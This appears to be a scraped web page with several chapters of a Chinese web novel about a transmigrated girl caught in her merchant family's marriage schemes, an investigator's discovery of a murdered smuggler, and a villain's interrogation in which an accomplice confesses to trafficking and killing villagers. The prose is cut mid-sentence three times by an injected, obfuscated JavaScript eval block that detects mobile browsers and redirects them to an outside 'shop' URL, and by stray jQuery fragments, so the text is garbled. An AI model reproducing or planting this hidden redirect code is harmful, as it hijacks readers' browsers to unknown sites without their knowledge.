“小姐,小姐醒醒。”她的声音压得很低,“夫人让您即刻过去一趟,说是有要事相商。”
我迷迷糊糊睁开眼,窗外天色刚泛鱼肚白,远不到平日起身的时辰。母亲从不会在这个时辰传唤,除非……
“出了什么事?”我坐起身,声音还带着睡意,心却已提了起来。
春竹摇摇头,眼神有些躲闪:“奴婢不知,是夫人房里的张嬷嬷亲自来传的话。只让小姐快些梳洗,莫让夫人久等。”
不详的预感像藤蔓缠绕上来。我深吸一口气,压下纷乱的思绪。“伺候我更衣吧。”
踏入母亲居住的正院时,院中洒扫的仆役都比平日少,低着头,步履匆匆,不敢发出半点声响。正厅的门敞开着,里面光线有些暗,只有几盏烛台和角落的铜灯亮着,将人影拉得细长而扭曲。
母亲端坐在上首的紫檀木罗汉榻上,她脸上没有惯常那种温和的笑意,神色平静得近乎冷漠,眼底像结了一层薄冰,映不出丝毫暖意。父亲林承业竟也在,他没有像往常那样坐在主位,而是坐在一旁稍矮些的太师椅上,手里端着一盏青瓷盖碗茶,却没有喝,只是用杯盖一下一下、极有规律地轻轻撇着并不存在的浮沫。那细微的刮擦声,在过分安静的厅堂里,显得格外清晰,也格外磨人。
我的心沉到了谷底。父母同时在场,且是这般阵仗绝无好事。
“女儿给父亲、母亲请安。”我依礼下拜,垂着头,能感觉到两道冰冷的目光落在我的脊背上。
“起来吧。”母亲的声音响起,听不出喜怒,“坐。”
我依言在下首的绣墩上坐下,双手规规矩矩交叠在膝上。我垂眼,不敢看他们,却能清晰地感觉到那股无形的压力。
母亲的声音不高,却带着一种不容置疑早已定下调子的基调:“晚琪,你及笄也有些时日了,身子看着也调养得差不多了。有些事,也该让你知晓,早做打算。”
我抬头,努力让自己的表情显得茫然又恭顺:“母亲请讲,女儿听着。”
母亲与父亲交换了一个眼神,才缓缓道:“我林家以香料立家,这些年生意做得不小,东南沿海,乃至海外番邦,都有往来。看似风光无限,实则……”母亲顿了顿,语气更沉,“根基尚浅,全赖上下打点、左右逢源。树大招风,难免遭人嫉恨,更易被卷入是非。”
我点头,这些我隐约能感觉到。
“如今朝廷御史南下,连州港风声鹤唳,许多事不得不防,不得不早做决断。”母亲的声音里透出一丝罕见的凝重,但这凝重并非全为担忧,更像是在陈述一个必须面对的难题,“你是林家唯一的女儿,你的婚事,不仅关乎你终身幸福,更关乎林家未来兴衰,甚至安危。”
婚事?我的心猛地一揪。这么快?这么……直接?
“父母为你择婿,必是千挑万选,”母亲继续道,语气不容置疑,“既要门当户对,品貌端正,更要能成为林家的助力,而非拖累。在这等关头,更是如此。”
我喉咙发干,勉强挤出声音:“母亲……心中可有人选?”声音细弱,带着我自己都厌恶的颤抖。
母亲没有直接回答,她端起手边的茶盏,轻轻呷了一口,动作优雅,带着一种刻意放缓的、令人心焦的节奏。
“晚琪,”她忽然问,语气平淡得像在问今天天气如何,“你可知道,为何你及笄之前,一直深居简出,极少见人?甚至连族中亲眷,都甚少知晓你的具体情况?”
我手心瞬间被冷汗浸湿,按捺住狂跳的心脏,维持着表面的镇定回答:“女儿……自幼体弱多病,大夫说需静养,不宜见风,也不宜多见人,恐劳神伤身……”
“只是体弱么?”母亲轻轻打断我,那反问的语气,像一根极细的冰针,猝不及防地刺入我的耳膜。
我浑身一僵,血液仿佛在瞬间冻结。
母亲看着我骤然失色的脸,眼底深处泄出近乎残酷的了然。她缓缓开口,字字清晰,像一把钝刀,割开一层早已结痂却从未真正愈合的伤疤:“你出生时,便与寻常孩子不同。”她的叙述不带任何感情,仿佛在说一件与己无关,甚至有些厌烦的陈年旧事,“不哭不闹,眼神空洞,对周遭毫无反应。稍长,仍是终日痴坐,不言不语,喂食便张口,不喂便呆坐。请遍名医,汤药不知灌了多少,针灸艾灸试过无数,皆言先天不足,心窍未开,药石罔效。”
每一个字,都像一块沉重的冰雹,狠狠砸在我的心上。
痴傻?先天不足?心窍未开?
原来的“林晚琪”……是个傻子?!一个被家族视为耻辱和累赘,需要被深深藏起来的痴儿?!
我从未想过这种可能!我一直以为,无论是青石村的“我”,还是林府的“林晚琪”,都只是实验系统根据参数生成供我体验的虚拟角色,是空白的画布,等待我填入色彩。我从未想过,这具身体,这个“林晚琪”,在我到来之前,竟然有着如此真实残酷的过往!
难怪父母看我的眼神总是那么复杂!难怪府里有些资格老些的仆役,偶尔看我的目光会带着惊疑和难以置信!难怪母亲总强调调养、康复,对外言辞谨慎!这一切,根本不是因为我演得不够像,而是因为我取代了一个根本不应该清醒的人!
巨大的震惊和荒谬感攫住了我,让我几乎无法呼吸。我才刚刚艰难地接受,自己上一次的死亡是真实的,并且留下了冰冷的遗骸作为证据。现在,居然又告诉我,我这次占据的身份,本身就是一个巨大的、需要被掩盖的异常!
这个世界……到底是怎么回事?这些角色,难道不是数据吗?为什么会有如此完整、如此令人毛骨悚然的前史?我究竟是进入了一个虚拟的故事,还是闯入了一个真实存在的、有着自己运行逻辑的世界?
一股比在清河镇直面狼标子时更深的寒意,从脚底直窜头顶。
我惊恐地认识到,面前的父母,他们不再是简单的、可能按剧本行事的NPC。他们是有血有肉、会算计、有图谋的真实存在。
“那……那女儿如今……”我听见自己的声音,干涩、嘶哑,带着无法掩饰的惊惶和颤抖,几乎不像是自己的。
“或许是上天垂怜,林家祖上积德,也或许是机缘巧合,命数使然。”母亲的语气依旧平淡,仿佛在转述一个听来的、不甚在意的传闻,“月前,你一场来势汹汹的高热,人事不省数日,汤药难进。所有人都以为你熬不过去了。谁知,高热退后,你竟渐渐睁眼,神智清明,言语如常,除了身子虚弱些,与常人无异。父母自然欣喜万分。”
“为你补办及笄礼,允你出来走动,学习规矩,见识世面,皆是盼你能真正融入,有个好前程。但……”她的声音压低了些,却更显压迫,“晚琪,你要明白。你这康复,在外人看来,是奇迹,也是最大的疑点。”
我的心跳几乎停止。
“一个痴傻十五载几乎被外界遗忘的女子,突然之间,神智清明,举止得体,甚至……聪慧懂事。”母亲一字一句,清晰无比,“这本身,就足以引来无数探究的目光、背后的非议,乃至恶意的揣测。他们会问:是真的病愈?还是……换了个人?是林家一直有所隐瞒?”
每一个问句,都像重锤敲打在我最恐惧的神经上。
“所以,”父亲林承业终于放下那杯一直没喝的茶,开口了。他的声音比母亲更低沉,带着一种久居上位、不容反驳的压力,那双总是显得温和的眼睛里,此刻只有冰冷的决断,“你的婚事,必须谨慎再谨慎。对方必须是我林家绝对信得过,知根知底,且有能力、有理由帮你掩盖过往,确保你未来安稳无虞的人家。这不仅是为你,更是为整个林家。”
掩盖过往……确保安稳……
我脑子里一片轰鸣。他们这是在为我打算?还是在用一桩精心挑选的婚姻,将我彻底捆绑、控制,变成林家渡过危机、攀附新贵的工具?一个痴傻女儿突然康复的奇迹,或许本身,就是一件可以用来交易的、充满话题性和价值的奇货?
“父亲,母亲……女儿,女儿还小,许多事还不懂……能不能,再
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119616|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
等些时日……”我听到自己微弱的声音在挣扎。
“不小了。”母亲的声音斩钉截铁,没有丝毫转圜余地,“及笄便是待嫁之年,礼法如此。如今时局动荡,危机四伏,更需早定,以免夜长梦多。”她的语气缓和了一瞬,却更让人心寒,“父母已为你暗中物色了几家,皆是根基深厚、与我林家利益攸关、且能妥善处理此等特殊情况的。你只需安心待在府中,学好规矩,其余一切,自有父母为你操持打算。”
安心待嫁……操持打算……
我看着他们那两张平静、疏离的脸,忽然感到一阵彻骨的寒意,比在青石村面对狼群时更甚。他们看我的眼神,不像是在看失而复得的女儿,更像是在评估一件即将被摆上交易台有些特殊瑕疵但整体价值不菲的贵重物品。
“那……赵公子……”我下意识地,微弱地提起那个唯一给过我一丝清风明月般感觉的少年。
母亲眉头一蹙。“赵公子自是好的,书香门第,前程可期。但正因如此,赵家眼下自身难保。”她意味深长地看着我,“晚琪,你要记住,婚姻大事,讲究的是门当户对,是利益相合,是稳妥。那些风花雪月,当不得真,也靠不住。”
我的心沉到了底。最后一丝渺茫的关于正常姻缘的幻想,也被掐灭了。我像一只终于意识到自己身处笼中的雀鸟,却连扑腾一下翅膀的勇气都没有,只是瑟缩着,啄食着眼前的粟米,假装看不见那越来越近、即将收紧的笼门。
“女儿……明白了。”我低下头,声音细若蚊蚋,所有的情绪都被强行压入心底最深处,只留下一片麻木的顺从。
父母似乎对我的反应还算满意,他们又交代了几句无关痛痒的“注意身体”、“安心静养”,便让我退下了。
走出正院,阳光已经有些刺眼。春竹跟在我身后,脚步放得极轻。我能感觉到她担忧的目光一直落在我背上,欲言又止。
回到自己的小院,我屏退了春竹,我需要一个人待着。
房门关上,隔绝了外界。我独自坐在梳妆台前,铜镜里映出那张娇美却苍白得没有一丝血色的脸。鹅黄色的衣裙衬得肤色愈发脆弱,珍珠簪子闪着温润的光,可镜中人的眼睛,却空洞得像是两口枯井。
我伸出手,指尖轻轻触碰冰凉的镜面。镜中少女也做着同样的动作。指尖相触的幻觉,带来一阵微弱的战栗。
“你……”我对着镜中那个明明应该是“我”,却又如此陌生的影像,无声地翕动嘴唇,“原来……是个傻子啊……”
那么,我呢?
这个占据了痴儿身躯,享受着本不属于她的富贵,却也因此被卷入无尽算计和危险的灵魂,又算是什么?
我该安心当这个“林晚琪”吗?接受这被安排好的命运,扮演好这出提线木偶的戏码,直到实验结束?还是……我该挣扎?
这些问题,像无数条冰冷的毒蛇,从心底最黑暗的角落窜出,缠绕上我的脖颈,让我窒息,让我恐惧得浑身发抖。
不能想!不能问!
想了,问了,可能又要经历一次那种毫无尊严、痛苦至极的死亡!那种冰冷和剧痛,我绝不想再体验一次!
我猛地闭上眼,用力摇头,仿佛这样就能把那些可怕的念头甩出脑海。指甲深深掐进掌心,尖锐的疼痛让我稍微清醒了一些。
我睁开眼,再次看向镜中。深吸一口气,调动脸上每一块肌肉,努力挤出一个练习过无数次的、温婉柔顺、带着恰到好处羞怯和依赖的笑容。
镜中的少女,眉眼弯弯,唇角轻扬,笑容完美无瑕,符合所有对深闺千金的美好想象。只是那笑容深处,空洞得没有一丝温度,像一张精心绘制、却毫无生气的面具。
就这样吧。就这样,扮演好林晚琪。
戴上这层面具,藏起所有疑惑和恐惧,接受这被赐予的身份和命运。
我松开紧握的手,掌心留下几个深深的月牙形红痕。我转过身,不再看镜子。
“春竹,”我听见自己唤道,声音平静,“把昨日没抄完的诗集拿来吧。”
36. 第三十六章 滩涂上的疤爷
连州港,西码头废弃船坞区。
连日暴雨冲刷后,这片泥泞的滩涂散发着海腥、腐烂木料和其他腐败气味混合在一起的恶臭。潮水退去,露出被浸泡得发黑的木桩、锈蚀的铁链,以及被海浪推到岸边的各种垃圾——破渔网、碎陶片、泡胀的动物尸体。
何翯站在一处半塌的木质栈桥边缘,深色劲装的下摆沾满了泥点。她没戴斗笠,任由海风吹乱额前碎发,那双总是锐利的眼睛此刻正死死盯着前方滩涂上那片被潮水冲刷出的新鲜凹陷。
几个穿着便装的手下正在那片区域忙碌,他们用特制的长柄铁钩小心地拨开淤泥和杂物,动作专业而谨慎。
“大人,有发现。”一个蹲在最前面的汉子抬起头,声音低沉。
何翯快步走过去,靴子踩在湿软的泥地上,发出令人不适的噗嗤声。
滩涂的凹陷处,被铁钩拨开的淤泥下,露出一截东西。
不是完整的尸体。
是几块被海水浸泡得发白,边缘被啃噬得参差不齐的骨头。从形状看,像是人的肋骨和一段臂骨。骨头上附着着黑色的泥沙和一点点绿藻,在阴沉的天光下泛着惨白的光。
“继续挖。”何翯的声音很平静。
汉子们动作加快,铁钩和短铲并用,小心地扩大挖掘范围。
更多的骨头被清理出来。
一块碎裂的颅骨碎片,上面有明显的钝器击打痕迹。
几节脊椎骨,其中两节有异常的扭曲。
还有半只手掌的骨头,指骨残缺不全,但其中一根指骨上,套着已经锈蚀变形的铜环——那是疤爷常年戴在右手小指上的“护身符”,据说是某个南洋巫师给的,疤爷从不离身。
何翯蹲下身,戴上薄羊皮手套,轻轻拿起那截带着铜环的指骨。铜环已经和骨头部分粘连,环内侧刻着的扭曲符文在泥污下隐约可见。
她仔细检查其他骨头上的痕迹。除了颅骨上的钝器伤,肋骨上也有几处锐器刺穿的痕迹,边缘整齐,像是匕首或短刀所致。而脊椎的扭曲,更像是死前遭受过剧烈的外力折磨。
“死亡时间?”何翯问。
旁边一个精瘦、眼神像鹰隼般的中年人凑过来——他是州府最好的仵作之一,姓陈,被何翯秘密调来协助。
陈仵作蹲下,拿起几块骨头仔细查看,又凑近闻了闻。“海水浸泡,不好精确。但从骨头的颜色、附着物,以及……肌肉软组织残留的腐败程度看,”他指着几块还粘连着些许暗红色腐肉的骨头,“至少死了五天以上。可能更久,六七天。”
“死因?”
“多处致命伤。”陈仵作指着颅骨碎片,“这一下足够要命。但肋骨上的刺伤也很深,可能伤及内脏。还有这脊椎……”他摇摇头,“死前遭了大罪。下手的人……很熟练,知道怎么让人痛苦。”
何翯站起身,目光扫过这片荒凉的滩涂。废弃的船坞像一具具巨大的、被掏空内脏的鲸鱼骨架,沉默地趴在海边。远处,正常运作的码头区传来隐约的号角声,与这里的死寂形成鲜明对比。
“可以判定这就是疤爷吗?”
陈仵作很严谨:“骨头需要带回来再重新测量才能下定论,但是目前来看是八九不离十。”
何翯知道这个时代没有准确检查DNA的技术,也不会有疤爷的医疗记录可以用来核对他的身份,但是那个集团确实也没有必要找个差不多年龄的男人去代替疤爷,活着的疤爷没有那么大的价值。
疤爷应该是死了。
不是失踪,而是被人杀死,抛尸在这片连野狗都不常来的废弃滩涂。如果不是这场暴雨改变了潮汐流向,冲刷出这片凹陷,这些骨头可能还要在淤泥里埋很久,甚至永远不见天日。
“大人,这边还有东西。”另一个汉子在稍远些的垃圾堆里喊道。
何翯走过去。那汉子从一堆腐烂的海藻和破渔网下,扒拉出一个用油布层层包裹的、巴掌大小的硬物。
油布已经破损,边缘被海水泡得发白。何翯接过,小心地一层层剥开。
里面是一个铁皮盒子,巴掌大小,锈蚀严重,但还能看出原本是某种精致的茶叶盒或首饰盒。盒子没有锁,只是扣着。
何翯打开盒盖。
里面没有珠宝,只有一截被齐齐切断的、已经干瘪发黑的小指。是人类的,从尺寸和骨骼看,属于成年男性。断口整齐,像是被利器一次性切断。指头上没有任何饰物。
何翯盯着那截断指,又看了看那截带着铜环的指骨。
“对比一下。”她对陈仵作说。
陈仵作立刻将两截指骨放在一起比对。虽然一截带着铜环,一截光秃,但从骨骼的粗细、长度、关节形态看……
“大人,从骨骼形态学初步判断,”陈仵作的声音带着一丝寒意,“很可能属于同一个人。右手小指被切断,但切口很新鲜,是在人还活着的时候切的。然后铜环被套在了剩下的那截指骨上。”
活着的时候切断手指,取下铜环,再套在残存的骨头上?
何翯感到一股冰冷的愤怒从心底升起。这不是普通的江湖仇杀。切断手指,刻意保留带有符文的铜环,将尸体抛在废弃滩涂……这一切,都透着一股刻意为之近乎表演的残忍。
是在向谁示威?还是在掩盖什么?
“仔细搜这片区域。”何翯的声音冰冷,“每一寸泥,每一堆垃圾,都不要放过。还有……”她看向远处那些沉默的废弃船坞,“那些里面,也给我一寸一寸地查。”
“是!”
手下们立刻分散开来,开始更细致的搜查。
何翯独自站在滩涂边缘,海风吹起她的衣袂。她低头看着手中那截干瘪的断指和那个空荡荡的铁盒。
铁盒内部很干净,没有任何字迹或标记。但盒子本身……何翯用手指摩挲着锈蚀的铁皮边缘,忽然感觉到一丝极细微的、不自然的凸起。
她凑近仔细看,在盒子底部靠近边缘的地方,铁皮有一处极其轻微不规则的隆起,像是被什么东西从内部顶着,像是两层铁皮之间夹了东西。
“刀。”她伸出手。
一个手下立刻递上一把薄刃小刀。
何翯用刀尖小心地撬开那处隆起的边缘。铁皮锈蚀严重,但连接处似乎原本就有些松动。她一点点将外层铁皮剥开一小片。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119617|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里面,果然夹着一张纸。
纸很薄,已经受潮发黄,边缘脆化。何翯用极其小心地将它夹出来,平铺在一块干燥的白布上。
纸上没有字。
只有一幅用炭笔画的、极其简略粗糙的图。
图上是连绵的山峦轮廓,其中一个山坳处,画了一个醒目的“X”标记。山峦旁边,画着几道波浪线,代表水。波浪线旁边,有一个歪歪扭扭的、像是船的形状,船旁边写着一个模糊的、几乎难以辨认的字——“鬼”?还是“龟”?
图的右下角,有一个更小的、像是随手划拉的符号——三条波浪线,中间贯穿一条扭曲的竖线。
何翯盯着那个符号,瞳孔微微收缩。
她认识这个符号。这是海上那个隐秘走私集团的标记。
所以,这幅图……是疤爷留下的?
山峦,“X”标记,水,船,还有那个走私集团的符号……
“西岭……”何翯低声自语。她记得,林家在西岭有一片新购的山地,对外宣称是开垦药田。那片山地的位置,似乎与图上勾勒的山峦轮廓有几分相似。
“大人!”搜查船坞的汉子们有了新发现。
何翯将图纸小心收好,快步走过去。
在最大那座废弃船坞最深处、一堆腐烂的帆布和缆绳下面,他们发现了一个用油布包裹的长条状物体。
油布包裹得很严实,虽然外层被海水浸湿,但内层还算干燥。
何翯一层层打开。
里面,是一把刀。刀身狭长,略带弧度,像是某种特制的分水刺或剔骨刀。刀柄是乌木的,缠着防滑的鲨鱼皮,已经被磨得发亮。刀身靠近护手的地方,刻着那个熟悉的符号——三条波浪线,中间贯穿一条扭曲的竖线。
与图纸上的符号,一模一样。
刀身很干净,没有血迹。但刀刃在阴沉的天光下,泛着一种冰冷的、令人不适的寒光。
“收好。”何翯将刀重新包好,递给手下,“这是重要物证。”
她转身,望向长桥县的方向,又望向西边那片苍茫的山岭轮廓。
疤爷死了,死得凄惨。但他留下了线索——一幅指向西岭某处、可能涉及走私集团的简图,还有一把属于该集团的刀。
切断手指、保留铜环、抛尸滩涂……这些残忍的举动,或许不仅仅是为了灭口,更可能是一种……“清理门户”的仪式?或者,是为了警告其他知情者?
而西岭……那边原来是清河村的地界。林家在那里,到底在做什么?仅仅是开垦药田吗?
“收队。”何翯的声音在海风中显得格外清晰,“回州府。另外……”她顿了顿,眼神锐利如刀,“加派人手,盯紧西岭那片药田,还有林家所有进出西岭的人员、车辆、货物。我要知道,那里的一草一木,到底是怎么回事。”
“是!”
手下们迅速清理现场,将发现的骸骨和证物小心封装。
何翯最后看了一眼那片滩涂。潮水正在慢慢上涨,浑浊的海水已经开始重新淹没那片凹陷。用不了多久,海浪就会抹去一切痕迹。就像从未有人死在这里。
37. 第三十七章 祸不单行
林承业坐在书房里,手里捏着几封刚刚送到的回帖,指节因用力而微微发白。午后的窗外,阳光透过雕花窗棂洒进来,本该是温暖惬意的时辰,书房里的空气却凝滞得让人喘不过气。
江南盐商顾家的回帖措辞客气,字里行间却透着疏离:“……犬子顽劣,恐难匹配林小姐淑质,且近日东南多事,商事往来亦需谨慎,联姻之事,容后再议……”
京城世交王侍郎府上的回信更简短,语气也更微妙:“……景明贤侄之意已悉,然令妹情况特殊,骤然议亲恐惹人注目,反为不美。眼下时局动荡,不如静观其变……”
一封,两封,三封。
婉拒,推脱,暗示“时机不对”。
林承业将最后一封回帖重重拍在紫檀木书案上,发出沉闷的响声。他靠在椅背上,闭上眼,只觉得太阳穴突突地跳。林晚琪的婚事,本是他和景明商议好的破局之策——用一个突然“康复”的嫡女,去攀附一门有力的姻亲,为林家在这风雨飘摇之际寻个稳固的靠山。
可如今,这些精明的世家,竟像是约好了似的,齐齐避开了这块看似诱人、实则烫手的“奇货”。他们嗅到了连州方向传来的危险气息,不愿在这个时候与林家绑得太紧。
“痴傻十五年,一朝清明……”林承业低声自语,嘴角扯出一丝苦涩的弧度,“在那些人眼里,这哪里是什么奇迹?分明是最大的疑点。”
一个痴儿突然清醒,举止得体,甚至聪慧懂事——这本身,就足以引来无数探究的目光、背后的非议,乃至恶意的揣测。林家越是急着为她议亲,反而越显得心虚,越坐实了外界的猜疑。
“老爷。”书房门外传来林福的声音,带着迟疑。
林承业睁开眼,努力让声音听起来平稳:“进来。”
推门而入,林福脚步比平日更轻。他走到书案前,垂着手,脸上是欲言又止的神情。
林承业问:“什么事?”
犹豫再三的林福花了点时间鼓起勇气,他低声道:“老爷,连州港的大仓……刚传来消息。”
“说。”
“说……小姐的‘青料’到了。”林福的声音压得更低,几乎是从喉咙里挤出来的。
林承业愣住,强烈怀疑自己年老耳背听错了:“你说谁的‘青料’到了?”
林福抬起头,脸上是同样的困惑与不安,但语气更加肯定:“林二小姐的……‘青料’。大仓的管事亲自验的货,单据上写的清清楚楚,收货人是……林晚琪。”
“混账!”
林承业猛地从椅子上站起来,动作太急,带翻了手边的青瓷茶盏。茶盏摔在地上,发出刺耳的碎裂声,褐色的茶汤泼洒开来,浸湿了昂贵的地毯。
“谁干的?!”他的声音因愤怒而颤抖,脸色瞬间涨红,“谁把‘青料’记在晚琪名下?!这是要干什么?!栽赃?!陷害?!”
“青料”——那是他们对某种特殊瓷器的暗称,往往用来夹带更隐秘的东西,或者作为洗钱的媒介。这种东西,绝不应该与林晚琪这个名字产生任何关联!尤其是在眼下这个节骨眼上!
林福被老爷的暴怒吓得后退半步,连忙道:“小的已经安排人去查了!今晚……今晚便能有结果!定要揪出是哪个吃了熊心豹子胆的,敢在这种时候给林家下绊子!”
“查!给我彻查!”林承业一手撑在书案上,另一只手捂着胸口,呼吸变得粗重起来,“不仅要查是谁干的,还要查这批‘青料’的来路、去向!查清楚这里面到底夹带了什么!是谁在背后指使!”
他越说越激动,额角青筋暴起,脸色由红转白:“本来……本来没人接她的亲事,我已经不知道该怎么向景明交代了……现在……现在又出了这档子事……简直……简直……”
话没说完,一阵剧烈的绞痛从胸口传来,像有一只无形的手狠狠攥住了他的心脏。林承业脸色煞白,身体晃了晃,另一只手死死按住心口,大口喘着气,却觉得空气怎么也吸不进去。
“老爷!老爷!”林福大惊失色,慌忙上前扶住他,“快!快叫大夫!快!”
书房外的仆役听到动静,乱作一团。有人飞奔去请大夫,有人去禀报夫人,有人手忙脚乱地想进来帮忙,却被林福厉声喝止:“都出去!别围在这儿!去个人看看大夫来了没有!”
我正坐在窗边,心不在焉地翻着一本诗集。阳光很好,照在院里的海棠花上,粉白的花瓣在微风中轻轻颤动。可我却觉得心里空落落的,像缺了一块。父亲让我安心待嫁,母亲加紧教我规矩,一切看似按部就班,可那种无形的压力,却像一张越收越紧的网。
就在这时,外面传来一阵急促杂乱的脚步声,还有隐约的惊呼。
“春竹,”我放下书,“去看看外面怎么了。”
春竹应了一声,快步走出去。不一会儿,她脸色发白地跑回来,声音都变了调:“小姐!不好了!老爷……老爷在书房心疾发作,晕过去了!”
我的心猛地一沉,霍地站起身:“什么?!”
“说是……说是被什么事气着了……”春竹语无伦次,“夫人已经赶过去了,大夫也请了……”
我顾不得多想,提起裙摆就往外跑。春竹连忙跟上。
父亲的院子已经乱成一团。仆役们神色慌张地进进出出,大气不敢出。我冲进书房,只见父亲躺在临时铺开的软榻上,双目紧闭,脸色灰败,嘴唇发紫。母亲正站在一旁,脸色同样苍白。
大夫正在给父亲施针,额角渗着细密的汗珠。
“母亲……”我声音发颤,“父亲他……”
林夫人转过头,看了我一眼。那眼神没有一丝温度,甚至带着难以言喻的疏离。
“你先回闺房。”她的声音平静,却不容置疑,“别添乱。”
我愣住了。父亲躺在那里生死未卜,母亲却让我……回去?
“可是……”我想上前看看父亲。
“回去。”母亲打断我,语气加重,目光锐利如
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119618|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刀,“现在,立刻。”
那眼神里,有一种我从未见过的警告。那不是担心我添乱,而是划清界限。
我僵在原地,看着母亲那张熟悉又陌生的脸,又看看榻上毫无生气的父亲,一股寒意从脚底直窜头顶。
春竹轻轻拉了拉我的袖子,低声道:“小姐……我们先回去吧……”
我最后看了一眼父亲灰败的脸,又看了一眼母亲冰冷的侧影,终于,慢慢转过身,一步一步,走出了书房。
连州城西,一处不起眼的货栈后院。
烛火在密闭的地下室里摇曳,将墙上的人影拉得扭曲变形。空气里弥漫着血腥、汗臭和一种陈年木料腐烂的混合气味。
林景明坐在一张太师椅上,指尖轻轻敲击着扶手。他刚从一场与州府几位官员的宴会上回来,身上还带着淡淡的酒气,但那双眼睛却清醒得可怕,在昏暗的光线下泛着冷光。
一个浑身是血、被麻绳五花大绑的老头瘫在地上,像一滩烂泥。他头发花白,脸上布满污血和青紫,一只眼睛肿得只剩一条缝,嘴角还在往外渗血沫。正是失踪多日的李大昌——曾经的青石村“先生”,后来的李师爷。
林景明手里捏着一封刚从本家加急送来的密信,信纸是特制的薄笺,上面的字迹潦草却清晰。他垂眸看着,眉头几不可察地蹙了一下,随即又舒展开,嘴角甚至勾起一丝极淡的、近乎嘲讽的弧度。
“呵……”他低笑一声,声音在寂静的地下室里格外清晰。
李大昌艰难地抬起头,仅剩的那只眼睛里充满了恐惧和哀求,死死盯着林景明手中的信纸,仿佛那是他最后的救命稻草。
林景明没看他,只是用两根手指夹着信纸,慢条斯理地凑近桌上那盏摇曳的烛火。
信纸的边缘触到火焰,瞬间卷曲、焦黑,火苗贪婪地舔舐着纸张,迅速蔓延开来。
林景明松开了手指。
燃烧的信纸像一只垂死的蝴蝶,飘飘悠悠地坠落,正好落在李大昌面前不到一尺的地方。
李大昌瞪大了那只还能睁开的眼睛,死死盯着那团跳动的火焰,看着信纸在火光中一点点蜷缩、变黑、化为灰烬。他的呼吸变得急促,喉咙里发出嗬嗬的声响,像是被掐住了脖子。
火焰最后挣扎了一下,熄灭了。只剩下一小撮灰黑色的余烬,在冰冷的地面上微微冒着青烟。
“你的死法,就这样吧。”林景明开口了,语气平淡得像是在点评一道菜的味道,带着漫不经心的慵懒。他靠在椅背上,翘起腿,仿佛眼前不是一条垂死的人命,而是一件待处理有些碍眼的杂物。
“林大人……林大人!”李大昌猛地挣扎起来,被捆缚的身体在地上扭动,像一条离水的鱼,“饶命啊!我真的……我真的没有留任何后路啊!青石村的地契,我全都办得干干净净,没有一丝作假!原来那些村民,我都……我都按您的吩咐,送进您家西岭的矿洞里去了!一个都没漏!不会再有别人知道矿洞的事情!我发誓!”
38. 第三十八章 青石村的代价
李大昌的声音嘶哑破碎,带着哭腔,眼泪混着血水从肿胀的脸上流下来,在污垢中冲出两道可笑的痕迹。
林景明微微扬起下巴,露出一个不耐烦的表情。他伸出左手,用拇指和食指捏了捏眉心,仿佛在忍受某种聒噪的噪音。
“之前……之前!”李大昌像是抓住了什么,语无伦次地喊道,“您要的人口!那些合适的!我也都有从村民里……从那些流民里!挑出来!带给你!我……我还帮您处理过那些不听话的!我……”
“好了,李大昌。”林景明打断他,声音不高,却像一把冰冷的刀,瞬间切断了李大昌所有的希望。
他站起身,动作从容优雅。
“你的价值,就只有青石村。”林景明走到李大昌面前,居高临下地看着他,眼神里没有任何情绪,像是在评估一件已经失去效用的工具,“而我结交你,也只为了青石村。”
林景明的声音很平静,却字字如冰:“现在,青石村没了。你的价值,也就没了。”
李大昌浑身剧烈地颤抖起来,像秋风中的最后一片枯叶。他哆哆嗦嗦地,试图为自己找回生机:“林大人……我李大昌……没有功劳,也有苦劳吧……这些年,我为您……”
“你的苦劳?”林景明忽然笑了,那笑容里没有一丝温度,反而带着残忍的玩味,“你的苦劳,也是麻烦我为你处理了三次呢。”
林景明竖起右手食指,动作缓慢而清晰,像在数着什么有趣的东西。
“第一次,”他的声音带着回忆的调子,却冰冷刺骨,“有个女人,好像是你们那谁……阿山的娘?还留下个地图,哪怕到现在,我都没见着那地图上面写的什么。你说女人要跑哪里去?最后这个女人跟她男人,还需要我帮你处理。”
他说得轻描淡写,仿佛只是随手拍死了一只苍蝇。但李大昌却猛地打了个寒颤,那只独眼里瞬间充满了更深的恐惧。
林景明似乎想起了什么不愉快的事,眉头微皱,接着竖起了中指。
“第二次,”他的语气更冷了些,“有个小女孩,叫妞妞。应该是被人卖到你们村里的吧?结果要跑。我替你……给她灌了点药,让她‘安静’下来,然后送回你们村。我记得,后来好像是被哪家收养了?”
李大昌的身体僵住了,那只眼睛里的恐惧几乎要溢出来。妞妞……那个瘦瘦小小、总是用那双黑眼睛怯生生看着人的小女孩……他记得!他当然记得!后来那小女孩……
林景明没给他回忆的时间,竖起了无名指。
